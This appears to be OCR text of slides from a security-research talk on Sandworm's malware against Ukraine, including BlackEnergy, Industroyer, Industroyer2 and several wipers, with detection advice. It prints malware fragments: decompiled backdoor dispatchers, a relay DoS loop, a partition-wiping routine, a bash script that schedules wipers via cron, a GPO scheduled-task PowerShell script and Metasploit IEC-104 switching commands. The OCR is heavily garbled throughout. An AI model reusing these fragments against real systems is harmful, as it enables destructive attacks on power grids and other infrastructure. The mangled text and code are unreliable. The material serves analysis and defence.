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WANTED Sandworm
BY THE FBI Telebots

GRU HACKERS' DESTRUCTIVE MALWARE
AND INTERNATIONAL CYBER ATTACKS / VO O d 00 B €ar

Conspiracy to Commit an Offense Against the United Stales; False Regisiration of a
Domain Mane; Conspiracy to Commit Wire Frand; Wire Fraod; Intentional Damage to
Protected Compulars; Aggravaled Identity Thelft

Pmatcliy

21l [
CAUTION
On October 15, 200, a federd grand ey sitling n the Distract of . an ind

a ferdard arest warant for each of these ddfendants upon the grand ary’s rehum of the indictment..

SHOWLD BE CONSIDERED ARHED AND DANGERCIRS, AN TNTERMATIONAL HTGHT
RISK, AHD AN ESCAPE RISK

Ifyom have any i i ing thesr i i please coatact your local FBI offic, o
i Eml or (x

www fhi_gov

National Cyber 4 Militaire Inlichtingen Q
Sources: : Security Centre b Veiligheidsdienst " SECURITY SERVICE OF UKRAINE — MICI’OSOﬂ:
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European Gas Conference 2012

Jan 24-27, 2012 in Vienna (Austria)

EUROPEAN GAS
CONFERENCE
VIENNA

Vienna, Austria

The Evropean Gas Conference 2012 is the only event to unite the commercial and political
worlds of the natural gas market in Europe.

Over four days at European Gas Conference 2012, industry experts will discuss the hottest topics
of the moment including: the implications of the move away from nuclear power and the impact
on natural gas, the challenges of unbundling Furope’s gas transmission networks, the progress of
the international pipeline projects, the implementation of the Third Energy Package, the future
role of Russia in Evropean natural gas supply, how gas pricing will develop, global LNG
developments and arbitration and legal implications of re-negotiating supply contracts.
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BlackEnergy War in Donbas

attacks intensify begins



= lennpokypaTypa BCTAHOBWMAA 3B'A3KY HAPOAHWMY AenyTaTie YKpaiHW 3 o...
MESSAGE

st 13. 8. 2014 7:41

leHnpokypaTypa BCTAaHOBWUAA 3B A3KY HapPOAHUX AenyTaTie YKpaiHW 2 onoaYeHusaMu.

Message E spiski_deputatov_done.ppsx (107 KB)

ApceHii AueHok gopydyne [eHnpokypaTtypi, CBY, MBC Ta miHicTepcTBY HOCTUUIT NepeBipuTr
BCIX HAapoaHWX genyTaTis, napTil Ta rpoMagckki 06'egHaHHA Ha YKpaiHi Ha NpUYeTHICTE 40
NiATPUMKKW ONONYeHUiB NiBAeHHOro cxogy KpaiHu. Nepli pe3ynsTaTh NepeBipKyU nokasanwu
NPUYETHICTb AKX NapTii 4o NiATPUMKW TepopucTiB. Tak camo Bynn BUABNeHi BUNagKku
Kpagpbkku rpowei, npusHadveHnx ana ATO. Y gogaTky nepLunia cnucok ocib, aki nignarawnTb
nepeeBipyi Ha gonomory TepopucTam.

o See more about
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BlackEnergy War in Donbas
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First malware-induced blackout BlackEnergy

A4

0| 23 December 2015

@ <6 hours

&5 ~230,000
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Ooops, your important files are encrypted.

If you see this text, then vour files are no longer accessible, because they
have been encrypted. Perhaps you are busy looking for a way to recover your
files, but don’'t waste your time. MNobody can recover your files without our

decryption service.

He guarantee that you can recover all your files safely and easily. All you
need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $388 worth of Bitcoin to following address:
1Mz7153HMuxXTuRZR1178mG5dzaAtNbBUHX

2. Send your Bitcoin wallet ID and personal installation key to e-mMail
HWoWsMithl23456@posteon. net. Your persomnal installation key:
STyBgm-UGBFAH-uJ4eND-J4A0oD-HMWBHSf-uCgAfc-obXiGe—tndnp5-xuwSTUN-XDGRKR

If you already purchaszed your key, please enter it below.
Rey:

2 . —
3 - it 4
\ .

A
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Exaramel

1DWORD  stdcall cmd thread{thread param =param)

24

3 /F/ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAHD]
I

5 resultl = Bx16;

6 w2 = init_CHD_struct{param->xml, &CHD);

¢ SetEvent{{HAHDLE}param->event});

8 if [ v2 )

o return 1;

18| cmd struct1 = CHD;

11 switch { CHD->cmd_id )

12 {

13 case 1:

14 result = cmd_create_proccess{CHD};

15 goto end;

16 case 2:

17 result = cmd_create_proccess_as_user(CHDY;
18 goto end;

19 case 3:

20 result = cmd_write file{CHD);

21 goto end;

22 case 4:

23 result = cmd_copy_file_aka_upload{CHD};
24 goto end;

25 case 5:

26 result = cmd_execute_shell cmd{CHDY;

27 goto end;

28 case 6:

29 result = cmd_execute_shell cmd_as_user({CHD});
a8 goto end;

a1 case 7¥:

32 result = cmd_ewval UBS _code({CHD};

33 end:

34 result1 = result;

a5 break;

36 default:

a7 break;

a8

39  PathCombineW{&pszDest, (LPCWSTRYcmd structi-»storage_path, L"done");
4o file_write{&pszDest, @, 8);

41 mem_free{{LPUDIDYcmd structi->Field_@);

42 mem_free{ {(LPVOID)cnd structi->cmd_content);
43 mem_free{{LPUDID)cmd structi->file_content);
Ly mem free{cmd structi);

45 return resultd;

16}

Industroyer

1int _ cdecl run_command{cmd_internal =CHD}
24
int result; /f eax

3
M

5 result = LOBYTE{CHD->cmd_id) - 1;
6 switch { LOBYTE({CHD->cmd_id) )
7

8

9

{
case 1u:
result = cmd_create_proccess{CHD};

1@ break;
ik case 2u:
12 result = cmd_create_proccess_as_user(CHD);
13 break;
14 case 3u:
15 result = cmd_write file{CHD};
16 break;
17 case hu:
18 result = cmd_copy_file_aka_upload{CHD};
19 break;
28 case Su:
21 result = cmd_exXecute_shell cmd{CKrD};
22 break;
23 case 6u:
2y result = cmd_execute_shell _cmd_as_user{CHD});
25 break;
26 case fu:
27 ExitProcess{@A);
28 return result;
29 case Bu:
3n result = cmd_stop_service(CHD};
31 break;
32 case 9u:
33 result = cmd_stop_service_as_user{CHD};
1 break;
1 case BxAu:
36 result = cmd_start_service_as_user{CHD});
a7 break;
1 case BxBu:
39 result = cmd_service_change_path_to_binary_as_user{CHD};
48 break;
1 default:
L2 return result;
43
L) return resull;
45|
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HermeticWiper

« Thread

ESET research
@ESETresearch

Breaking. #ESETResearch discovered a new data wiper
malware used in Ukraine today. ESET telemetry shows
that it was installed on hundreds of machines in the
country. This follows the DDoS attacks against several
Ukrainian websites earlier today 1/n

9:25 PM - Feb 23, 2022 - Twitter Web App

2,277 Retweets 342 Quote Tweets 3,624 Likes

Q L Qo

Tweet your reply

ESET research @ESETresearch - Feb 23
Replying to @ESETr rch

We observed the first sample today around 14h52 UTC / 16h52 local time.
The PE compilation timestamp of one of the sample is 2021-12-28,
suggesting that the attack might have been in preparation for almost two
months. 2/n

Q 8 1 154 O aa7 gy

ESET research @ESETresearch - Feb 23
The Wiper binary is signed using a coede signing certificate issued to
Hermetica Digital Ltd 3/n
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Momeof sgrer:  Evwaladdes:  Tiestang

Q  Search Twitter

Relevant people

ESET research

@ESETr... Follows you

Security research and breaking news
straight from ESET Research Labs.

Following

Trends for you {5y

Politics - Trending
China
361K Tweets

Trending in Slovakia
Discord
1.59M Tweets

Digital assets & cryptocurrency - Trending
#erypto
396K Tweets

Paolitics - Trending
Poland
321K Tweets

Politics - Trending
Germany
136K Tweets

Show more

Terms of Service Privacy Policy Cookie Policy
Accessibility Adsinfo More «
© 2022 Twitter, Inc.
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100s 5+ Dec 28, 2021

systems organizations compilation timestamp
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HermeticRansom
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CaddyWiper

Compiled &
deployed
Mar 14, 2022

Dozens of Targeted
systems financial sector
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gov.ua <> People with visual impairment
I State Sites of Ukraine

The team operates in within State
Service of Special Communication CERT-UA

and Information Protection of Ukraine

Computer Emergency Response Team of Ukraine

About CERT-UA | News | Recommendations | ContactUs | Contacts | ny | | @ Search | mE YkpaiHcbkolo

Main News

Ki6epartaka rpynu Sandworm (UAC-0082) Ha 06’ekTu
eHepreTUku YKpaiHu 3 BUKOPUCTAHHSAM LWIKigAUBUX
nporpam INDUSTROYER2 ra CADDYWIPER (CERT-
UA#4435)

3aranbHa indgopmauis By topic «LLM3»

YpanoBol KOMaHAOK pearyBaHHA Ha KOMM toTepHi Hap3BuyamHi nopii Ykpaivu CERT-UA exuTo

HeBioKNagHWX 3aXOMiB 3 pearyBaHHs Ha iHUMAEHT iHbopMauiiHo! 6e3neku, NoOB'A3aHMIA 3 LiNbOBOIO



Search International edition ~
N pO'itiCS The Biden Presidency  Facts First  US Elections

Russian military-linked hackers target Ukrain l!al:df!?n
company, investigators say

Russian hackers attempted to launch a cyber-attack on Ukraine’s power grid

Bloomberp last week, Ukrainian officials and cybersecurity researchers said.
Russian Hackers Tried Damaging Power Equipment, Ukraine says - Ehe New Hork Times
----- REUTE RS® @N EWS Rssla-Ukraine | | \vE Updates Maps Photos  Understand the Conflict  War Crimes
Ukraine says it thwarted UKkraine says potent Russi¢ ~ What Happened on Day 48 of the
: against power grid thwarte =~ War in Ukraine
Russian cyberattack on 5 b 5 73
Ukrainian officials say Russian military hacke

e lectriCEtv g rid — millions of Ukrainians last week in a long-plal
THE WALL STREET JOURNAL. Alleged Russian-Made Malware Tried to

Shut Down Ukraine Energy Facility

PRO CYBERNEWS TECH

Ukraine Thwarts Cyberattack on  yUkraine says Russian cyberattack sought to
Electric Grid, Officials Say shut down energy grid

The attack, which was set for last Exidar siend on ro cimilar MIT Technology Review

the ‘industroyer’ code usedina 2 EE. o Sign

noted NEWS COMPUTING

ini - Russian hackers tried to bring down Ukraine’ idt
Ukrainian power grld Tu CkY' to h;l;s;ﬁg ina:fzs?;ﬁ ried to bring down Ukraine’s power grid to
withstand Russian cyber-attack _

Home News Sport Reel Waol
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Industroyer’s intended impact

-rdataz1@616EDO off_18810EDS dd offset asys_bascon_com
-rdata:18818EDA

DATA XREF: sub_1¢
"S5¥Y3_BASCOH.COM™

-rdata:18818EDY dd offset a_v B Tl
-rdata:180106EDS dd offset a_pl ; U= _PL"
-rdata:18818EDC dd offset a_paf ; '=_paf"
.rdata:18818EEQ dd offset a v ; ot 3
-rdata:18818EEL dd offset a_x=rf s =_XRF" ABB Mlcroscada
-rdata:180106EES dd offset a_trc ; U= _trc”
.rdata:18818EEC dd offset a_scl ; U=_SCL™
r'\ -rdata:18618EF @ dd offset a_bak ; "=_bak"
.rdata:188180EFL dd offset a cid ; "= cid H
-rdata:180106EF8 dd offset a_scd ; M= _scd Slgnal CrOSS References
-rdata:18818EFC dd offset a_pcmp ; "=_pcmp’
-rdata:18818F88A dd offset a_pemi ; U=_pcmi”
-rdata:18818F a4 dd offset a_pcmt s U'=_pcmt”
.rdata:18010F 88 dd offset a ini ; Y= ini" 1 1 1
.rdata:18818F8C dd offset a_xzml ; UE_Eml™ SUbStatlon Conflguratlon Language
-rdata:18616F108 dd offset a_cin ; U"=.CIN"
-rdata:18818F14 dd offset a_ini ; Mx_oinit
-rdata:18616F18 dd offset a_prj ; U=_prij"
.rdata:18818F1C dd offset a cxm ; Ux.CcxEm” 1 inti
Deny operators .rdata:18610F20 dd offset a_elb . "x_plb" Conflgured IED Description
rdataz18818F24 dd offset a_epl ; U=.epl”
VISIbIlIty .rdata:10618F28 dd offset a_mdf ; x.mdf"
-rdata:186818F2C dd offset a_ldf ; U= _ldf ) ) : ..
& | -rdata:10010F30 dd offset a_bak ; “x.bak" Substation Configuration Description
Contro -rdata:18818F34 dd offset a_bk ; U=_bk"
-rdata:180106F38 dd offset a_bkp ; "=_bkp"
-rdataz188168r3c dd offset a_log ; "=_1log"
-rdata:18818F48 dd offset a_zip ; U=_zip”
.rdata:18818F4Y dd offset a_rar ; "x.rar” ABB PCM600
-rdata:180106FL48 dd offset a_tar ; U=_tar"
rdata:18818F4C dd offset a_7z ; Uw_Fz
-rdata:186168F50 dd offset a_exe ; =.exe”
; U= odll™

-rdataz18818F54 dd offset a_dll
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Industroyer’s intended impact

Disable
protection relays




Industroyer’s intended impact

# 12| ip_addr = hostlong;
213 memset{&WsAData, 8, 8x198u);
@14 =&lto.sa_data[8] = 8;
@15  =kto.sa_data[12] = 8;
© 16 to.sa _family = AF_IHET;
© 17 =kto.sa_data[B] = Bi6h;
@18 =&kto.sa data[@] = htons{port};
@19 if { tWsAStartup(@x282u, &UEAData) )
28, {
21 5 = socket{50CK_DGRAM, AF_IHET, 8);
& 22 if ( 5 )
23 {
8 24 For { ; ip_addr <= v3; ++ip addr }
25 {
& 26 =&kto.sa_data[2] = htonl{ip addr);
8 27 res = sendto{s, &dos_packet, 18, 8, &to, 146);
® 28 print_("Sent: %u bytesin", res);
& 29 err_code = WEAGetLastError();
® 30 print_ {"%u", err code);
31 ¥
® 32 closesocket(s);
33 ¥
& 34 WiACleanup();
35 ¥
@ 36 return 8;
8 37}

ICS Advisory (ICSA-15-202-01)
Siemens SIPROTEC Denial-of-Service Vulnerability
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Industroyer’s intended impact
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e
De-energize Deny operators Disable Operators Physical damage
power lines visibility protection relays manually
& control re-energize

power lines



Industroyer architecture

h
17. Dec 2016 - 22:27 (UTC)
i+ @ I_ mou [esp+5Bh+SystemTime .wHilliseconds], ax
Additional _@_) lea eax, [esp+5Bh+FileTime]
Backdoor push eax ; 1pFileTime

lea eax, [esp+54h+SystemTime]

|_ mou dword ptr [esp+54h+SystemTime.wYear], BCH7EBh
. push eax ; 1pSystemTime
@ Main Backdoor Launcher mou dword ptr [esp+58h+SystemTime . wDay], 168811h
€ mou dword ptr [esp+58h+SystemTime .wHinute], 1Bh

call ds:SystemTimeToFileTime
lea eax, [esp+5Bh+FileTime]
push eax ; 1pFileTime

Port push eax ; 1pLocalFileTime
call ds:LocalFileTimeToFileTime

Scanner

l

N

A
Q- g
DOS

&

101 Payload 104 Payload 61850 Payload  OPC DA Payload

&

1

Tools



Industroyer architecture
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@ Main Backdoor Launcher
—

Port
Scanner
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104 Payload



IEC 60870-5-104

* Telecontrol protocol in power grids
* TCP/IP extension of IEC 60870-5-101
* Port 2404

* (Client-server model

ASDU = Application Service Data Unit
|OA = Information Object Address

104 Payload



104 Payload

= 1dini 3 = logfile bt B3 |

1 H[STATION] 1 Start

2 |target ip = 192.168.0.1 2

3 ERaler= ale = 2404 3 Current switch value:0ON

4 M logfile = logfile.txt 4

5 — 5 Search control signals ... Found:
o stop comm service = 0 f

T change = 1 é ; 12

8 first action = on )

9 |silence = 0 - LS
10 _ _ 10 : 14
o : 1: : 15§tarting only success:
11
12 loommand [ vhe = (Jd&°
13 operation = range
14 Q@ range = 10-15, 5 Done: 13

17 Done: 15
18 Switch walue:QFF

21 Done: 10
22 Done: 11
23 Done: 13
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Industroyer?2

| ' ‘
Code similarity with  IEC-104 protocol Embedded
Industroyer only configuration




Count of sections 4

symbol table e©eoeeceee[eeseesss]
Size of optional header GaES
Linker wversion 14.12
Image wversion a.eo
Entry point geeedFFe
5ize ot init data GeoalEao
Size of image gesabhoas
Base ot code gesaleas
Image base ged4e00ee
Section alignment geeeloes
Stack peleceen/eneeleea
Checksum geesaaes

ed Mar 23 16:87:29 2822

Hagic al i p=To[= 41 BB
0S wversion .81
Subsystem wversion 5.81
Size of code oeea72ea
Size of uninit data slalslalaletete]
Size of header cgoaadon
Base of data slslslzleletete]
Subsystem Console
File alignment goesa2ee
Heap ggleoe6a/eoealooe
Number of dirs 16

Timestamp and compiler information of the Industroyer2 sample




.data:0040B000O ;org 40B00O6h

v.data:0040B000 config dd offset cfge ; DATA XREF: start+1371r
.data:0040B000 ; "o 2224 301 1 - -
.data:0040B004 dd offset cfgl ; "192.168 N 24904 2 0 1 1 NN . . .
.data:0040B008 dd offset cfg2 ; "192.163 M 2404 10 1 1 N - - .
.rdata: 00409818 cfgl: ; DATA XREF: .data:0040Beo4lo
.rdata:00409818 text "UTF-16LE", '192.1cS. N 2404 2 0 1 1 1 - =< 1 "IN
.rdata:00409818 text "UTF-16LE", ' © 1 20 100 8 1104 2 0 0 1 1 1105 °
.rdata: 00409818 text "UTF-16LE", '0 @ @21 2 1106 0 @ 0 1 3 1107 9 0 0 1 4 118 0 0 O '
.rdata: 00409818 text "UTF-16LE", '1 51101 @ 2 2 16 1102 000 17 1163 2020 1 8 ',0

.rdata:004099AE align 16h

Hardcoded configuration found in Industroyer2 sample



Transmission Control Protocol, Src Port: 49683, Dst Port: 2484, Seq: 145, Ack: 285, Len: 16
IEC 68878-5-184: <- I (6,12)

v IEC 68378-5-181/1e4 ASDU: ASDU=2 C DC NA 1 Act I0A=11081 ‘'double command'
Typeld: C DC_NA 1 (48)
o . ... - 30: False Double command (C_DC_NA_1)
.88 8881 = NumIx: 1
00 0LL8 = CauseT: Act (0) Single command (C_SC_NA_1)
.8.. = Negative: False
e... = Test: False
0A: B
Addr: 2
W TI0A: 1181
I0A: 118l
WODCO: @was
vee. ..81 = ON/OFF: OFF (1)
.888 8l.. = QU: Short Pulse (1)
e... = S5/E: Execute
BEEE2 B8 8c 29 42 B1 f5 88 Bc 29 ea 42 da B3 88 45 B0 ~-)B---- )-B---E-
8812 @@ 38 cf a9 40 0P 30 @6 ©P 8@ cO al 8@ 81 cP aB Bl e
Be28 Ja @82 c2 13 @9 64 cd 65 9b 55 f7 ab 66 23 58 18 z--++d-e -U--f#P-
BE38 84 @1 fb 7e 8@ @@ 68 @e ©c B0 18 00 B : LR - - -
aad4a :

IEC-104 COMMAND PARSED BY WIRESHARK



j

PH_ORD_OUT_X115_CL_IN1

A
PH_ORD_OUT_X115_CL_IN2_B =
_C=P

PH_ORD_OUT_X115_CL_IN3

IEC 60870-5-101/104 data mappings

No events | 61850 Path I0A Disabled
SCCBRBRF1.InCBFlt.stVal 1100
SCCBRBRF1.InPosClsA.stVal 1101
SCCBRBRF1.InPosClsB.stVal 1102
SCCBRBRF1.InPosClsC.stVal 1103
SCCBRBRF1.InStr.stVal 1104
SCCBRBRF1.InStrA.stVal 1105
SCCBRBRF1.InStrB.stVal 1106
SCCBRBRF1.InStrC.stVal 1107
SCCBRBRF1.0pEx.general 1108
SCCBRBRF1.0pln.general 1109
SCCBRBRF1.3tr.general 1110

Source: ABB

e BLOCK CB_FAULT AL e

e PICKUP TRBU. —«—> SCCBRBRF1_S50BF_T
e PICKUP_A TRBU A.

e PICKUP_B TRBU s.—

e PICKUP_C TRBU_ c.

e POSCLOSE_A TRRET-—D SCCBRBRF1_50BF_T
e POSCLOSE B TRRET A.—o—c} SCCBRBRF1_50BF_T
e POSCLOSE_C TRRET_ B. 9——> SCCBRBRF1_S50BF_T
e CB_FAULT TRRET_ Co +t+—<4—> SCCBRBRF1_50BF_T

Circuit breaker failure protection



1lae
111
112
113
114
115
116
117
118
119
128
121
122
123
124
125
126
127
128
129
13@
131
132
133
124
135
136
137
138
139
148
141
142
143
144
145
146
147

Industroyer 2016

str_print("Unknown APDU format !!1™);
LABEL_45:

str_print("\tA\t");

if { *(_BYTE *){*inited + 6) )

if ( *(_BYTE *)(*inited + 6) == 1 )
{

str_print{"s{ex1) | ");

else if ( *{ BYTE *)(*inited + B) == )
{

¥
¥
else
1
str_print("I(exe) | ");
b
str_print{"Length:¥u bytes | ", *{unsigned _ int8 *}{*inited + 5) + 2);
if { I*(_BYTE *}(*inited + 6} )}

str_print{"U{ex3) | ");

str_print{“"Sent=%u | Received=%d"™, *({ DWORD *)(*inited + 8), *( DWORD *)(*inited + 12));

str_print("\n"};
str_print("\tA\t");
if ( !*(_BYTE *)}({*inited + 6) )

1
wle = inited[1];
if ( vle }
1
str_print{"ASDU:¥u | ", *( DWORD *){v15 + 4));
str_print{"0A:%u | ", *(unsigned __int8 *)(inited[1] + 3)};
str print{"I0a:%u | ", *( DWORD *)(inited[1] + 8));
str_print("\n\t\t");
CAUSE str = {const char *)get CAUSE str(*{unsigned _ intd *){inited[1] + 2});
str_print{"Cause: ¥s (xMX) | ", CAUSE str, wlo9};
TYPE_str = (const char *)get TYPE_str(*(unsigned _ int8 *)}inited[1]);
str_print("Telegram type: %¥s (x%X)", TYPE_str, v2a);
¥
}

78
79
a8
a1
82
a3
a4
a5

a7
a8
a9
98
91
92
93
94
a5
96
a7
98
99
lea
18l
laz
las
la4
185
leec
1a7
las
1ag
118
111
112
113
114
115
116
117
118
119

Industroyer2 2022

wld = lock func();

log write((int)vlie, "Unknown APDU format !!!™, wv3e[e]);
333 = *(_BYTE *)(*v37 + 6);
if ( v3s )
1

if ( w35 =1}

1

w12 = lock func();
log write{(int)viz, "\t\ts |", v3e[e]);

else if { w35 == 3 )

1
vl3 = lock func();
log write{(int)vl3, "\t\tU |", v3e[e]);
1
1
elze
1

w1l = lock func();
log write({(int)vill, "\t\tI |", wv3e[8]);
¥
v29 = *(_BYTE *}(*v37 + 5) + 2;
vld = lock func();
log write{(int)vl4, "Length:¥u bytes | ", w29);
if ( !'*{ BYTE *){*v37 + 6) )

1

w27 = *(_DWORD *)(*v37 + B);

v1ls = lock _func();

log write((int)vls, "Sent=x¥X | Received=x¥X", v27);
if ( !*{_BYTE *)}(*v37 + 6) && v37[1] )
1

w26 = *{ DWORD *)(v37[1] + 4);

vle = lock _func();

log write{(int)vls, "\n\t\tASDU:%u | OA:Hu | TOA:Hu | ", v28);

w17 = (_BYTE *)sub_487DC@(*(unsigned __ intE *)(v37[1] + 2));
str_copy(v3e, v17);

sub_4870D8(*(unsigned _ intd *)w37[1]);

w13 = lock func();

log write((int)vis, "\n\t\tCause: ¥s (x¥X) | Telegram type: ¥s (x:¥xX)", (c



B ' C:\industroyer\industroyer.exe ' B ' C\industroyer2\40_115.exe

N 21:33:24:0391> T281 0006800
21:33:24:0423> RNM 0015

21:33:24:0438> T65 ©POOE800

21:33:24:0438> 10.J: 2404: 3
21:33:24:0454> 10. I V6889 SGCNT 44
21:33:24:0470> RNM 0015

U(ex3) | Length:6 bytes | 21:33:24:0485> 10 . 6513

STARTDT act 21:33:24:0485> T11l3 ©©006800
21:33:24:0485> 192.: 2404: 2

IEC-104 client: ip=10.1.1.1; port=24e4; ASDU=3

MSTR ->> SLV  10.1.1.1:24e4
X68 X@4 XO7 X00 xXee xee

MSTR <<- SLV 18.1.1.1:2484

X68 x84 XOB x00 x00 x08 MSTR ->> sLv  10.HE: 2404

21:33:24:0501> 192. I M68BO SGCNT 8
U(ex3) | Length:6 bytes | 21:33:24:0517> 192 . N 16813
STARTDT con 21:33:24:0517> RNM @015

x68 21:33:24:0532> 192. N 2494: 1
MSTR ->> SLV  10.1.1.1:2404

X68 XOE x00 x00 x00 xee x2D xol X066 xB0 x03 x80 x9A xXFC xel1l x81 MSTR ->> SLV 192 . 2404
. x84 21:33:24:0548> 192 . M68BO SGCNT 16
I(exe) | Length:16 bytes | Sent=e | Received=0 X68 x43 21:33:24:0579> 192 . M6813
ASDU:3 | OA:@ | IOA:13e202 | 08 X84 x43 X080
Cause: Activation (x6) | Telegram type: M_SC_NA_ 1 (x2D) MSTR ->> SLV 192 . J: 2404

X68 xB00 x0e xee
MSTR <<- SLV 10.1.1.1:24e4

X68 XOE %00 x00 x02 x00 x2D xe1 X87 xB00 x83 x80 x9A xFC x01 x81 %84 %43 U |x66
I(0x@) | Length:16 bytes | Sent=0 | Received=1 Length:6 bytes | x@@ x@0 TESTFR con U |Length:6 bytes |
ASDU:3 | OA:@ | IOA:130202 | <00

Cause: Activation confirm (x7) | Telegram type: M _SC_NA 1 (x2D)
TESTFR con
MSTR ->> SLV 16.1.1.1:2404

U |Length:6 bytes | TESTFR con
X68 x84 x01 x00 xe4 xee

MSTR <<- SLV 10 1N : 2404

X68
MSTR <<- SLV 192 .1 : 2404

X84 x83 x68 xB4 x00 x00 x83
MSTR <<- SLV 192 . 0404

XB00 x68 x00 x4

S(ex1) | Length:6 bytes |

MSTR ->> SLV 16.1.1.1:24e4
X68 xOE x82 x00 x02 xee x2D xel XB86 x00 x03 x680 x9A xFC x01 xel

I(ex@) | Length:16 bytes | Sent=1 | Received=1
ASDU:3 | OA:@ | IOA:13@202 |
Cause: Activation (x6) | Telegram type: M_SC_NA_1 (x2D)

Industroyer 2016~ “" ™ Industroyer2 2022

X00 X80 U |x83 Length:6 bytes | xee




Co-deployed malware



(@%

Sandworm

Industroyer2 CaddyWiper ORCSHRED SOLSHRED AWFULSHRED

| | | | |
| l

Electrical substation



14:58 UTC: Deployment of CaddyWiper on some Windows machines
and of Linux and Solaris destructive malware at the energy provider

15:02 UTC: Sandworm operator creates the scheduled task to launch Industroyer2

16:10 UTC: Scheduled execution of Industroyer2 to cut power in a
Ukrainian region

16:20 UTC: Scheduled execution of CaddyWiper on the same
machine to erase Industroyer2 traces

2022-04-08



109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133

=

=

-fi

Hif [[ $is owner -eq 0 11; then

echo "Start most security mode!"
crontab -1 > /var/log/tasks

check solaris=$(find /etc -name os-release > /var/log/res)
check solaris=$§(cat /var/log/res)

if [ -s /var/log/res ]; then
check solaris=$§(cat /etc/os-release | grep ID=solaris; echo $? > /var/log/res)
check solaris=$§(cat /var/log/res)

if [[ $check_solaris -eq 0 ]1]; then
echo "58 17 * * * /bin/bash /var/log/wsol.sh & disown"™ >> /var/log/tasks

else
echo "58 17 * * * /bin/bash /var/log/wobf.sh & disown" >> /var/log/tasks
fi
else
echo "58 17 * * * /hbin/bash /var/log/wobf.sh & disown" >> /var/log/tasks
fi

crontab /var/log/tasks
rm -f /var/log/tasks
rm -f /var/log/res

Setting up the cron job to launch the wipers



36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

}

strcpy(lib, "netapi32.dll");
LoadLibraryA(lib);
Buffer = 9;
result = DsRoleGetPrimaryDomainInformation(®, DsRolePrimaryDomainInfoBasic, &Buffer);
if ( *( _DWORD *)Buffer != DsRole RolePrimaryDomainController )
{
LoadLibraryA(s_advapi32);
strcpy(dir, "C:\\Users");
Wipe(dir);
strcpy(drive, "D:\\");
for (1 =0; 1 < 24; ++1 )
{
Wipe(drive);
++drivel[0];
}

return CorruptPartitionTable();

¥

return result;



Defense



Defense

Suspicious |IEC-104 traffic

Lateral movement via Impacket
Meterpreter |
Scheduled task via Group Policy



Industroyer?2 playground
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https://github.com/eset/malware-research/tree/master/industroyer2

Detection opportunities: lateral movement via Impacket

The following tools are featured in Impacket

Remote Execution

psexec.py: PSEXEC like functionality example using RemComSve (hittps:/github.com/kavikal3/RemCom).

smbexec.py: A similar approach to PSEXEC wjo using RemComSve. The technique is described here. Our implementation goes one step further, instantiating a
local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
atexec.py: This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server.
Runs as Administrator. Highly stealthy.

dcomexec.py: A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and
ShellBrowserWindow objects.

Source: SecureAuth

cmd.exe spawned by parent process: WmiPrvSE.exe

Specific command line:

cmd.exe /Q /c cmd /c %COMMAND% 1> \\127.0.0.1\ADMINS\__ 2>&1



Detection opportunities: Meterpreter

.text:81801977 push eax
Lext:aleelsva push BE@DFBFEAh ; WSASocketA
. Ltext: 81881970 call eb
Loader for Meterpreter payloads: extio100197  wehs  caw, edd
SJdextialealsss
¢ reverse_tcp .text:81801980 loc 1881938: 3 CODE XREF: .text:gleaell
.text:818019880 push 18h
* reverse_http text:er001982  push  esi
.text:81881983 push edi
.text:81801984 push 6174A595h ; connect
. - . . . text:81881989 call eb
Inserted in legitimate binaries via Shellter Pro  text:sioeisss  test  cax, eax
.text:8180198D jz short loc_ 1881944
LEext:aleelossr push 4E28h
.text:81801994 push BE@35F@44h ; Sleep
text:81881999 call ebp
.text:8188199B8 jmp short loc_ 1881938
LdEexwtielealson ;o ----------mm s e
.text:8180199D push SEA2B5FRh ; ExitProcess
.text:818819A2 call ebp
JLextralaaelosd
Ltext:81801944 loc 18819A4: 3 CODE XREF: .text:8leals
Ltext: 81801944 push a8
.text:8188194A6 push 4
.text:818819A8 push esi
text:818819A9 push edi

text:8lee1944 push SFCBD982h ; recv



Detection opportunities: scheduled task via Group Policy (GPO)

Custom PowerShell script to create immediate scheduled task MITRE ATT&CK

T1484.001

SRoot = [ADSI]"LDAF:/ /EootDSE"
SDomainPath = SRoot.Getc ("DefaultclamingContext™)
SDistingnishedName = "CH=Folicies,CH=5vstem, " + S$DomainPath

Write-Hozt ("Distinguiszhed MName: {0}" -f SDistinguishedName) -ForegroundColor Red
§adGPT = "\\SDomainsysvol\SDomain%Policies'\SGpoGuid\GPT.INI"

5adGP0O = "LDAF://CH=5GpoGuid, SDistinguishedlams"

SPrefPath = "‘\M\SDomainsvysvol \ SDomain\Policies\ SGpoGuidi\Machine\ Preferencesh "™

Write-Host 5adGFO
$adGPOPath = [ADSI]5adCGPO

Try {

ScurrentExt = $adGPOPath.get (' gPCHMachineExtensionlam=s")
} Catch {

Write-Host "Erroxrl"”

Exit
1

if (![string]::IsMullCrEmpty ($SonrceFile)) {
if(![ztring] ::IsHullOrEmpty (SDestinationFile)) {
SFilename = Split-FPath SDestinationFile -Leaf
S$FilenamePath = "\ \SDomain‘\=svyvsvoliSDomain’\Policiez’\SCGpoGuidi\Machine'" + $Filename
Copy-Item —-Fath $SonrceFile -Destination $FilenamePath
Create-Files -FreferencesFath §PrefPath -ADGPCOPath 5adGP0 -adGPT 5adGPT -Source 5FilenamePath -Destination 5DestinationFile

Create-Tasks -PreferencesPath S§PrefPath -ADGPOPath $adGP0 -adGPT $adGPT -Time ¢ -—-applame SappName -args Sargs



IEC104 Client for Metasploit

Example sending switching command ICA address to be switched is "5", the command type is a double command "46", command is for
switching off without time value "5" Using local IEC 104 server simulator

msf auxiliary({client/iecled/iecle4) > set rhost 127.8.8.1
rhost =» 127.8.8.1

msf auxiliary(client/iecl84/iecl@4) > set command_address 5
command_address =» 5

mst auxiliary(client/iecl@4/iec1@4) > set command_type 46
command_type =»> 46

msf auxiliary({client/iecle4d4/iec184) > set command wvalue 5
command_value =» 5

mst auxiliary(client/iec184/iecl184) > run

[+] 127.9.98.1:2484 - Received STARTDT_ACT

[*] 127.6.8.1:2464 - Sending 184 command

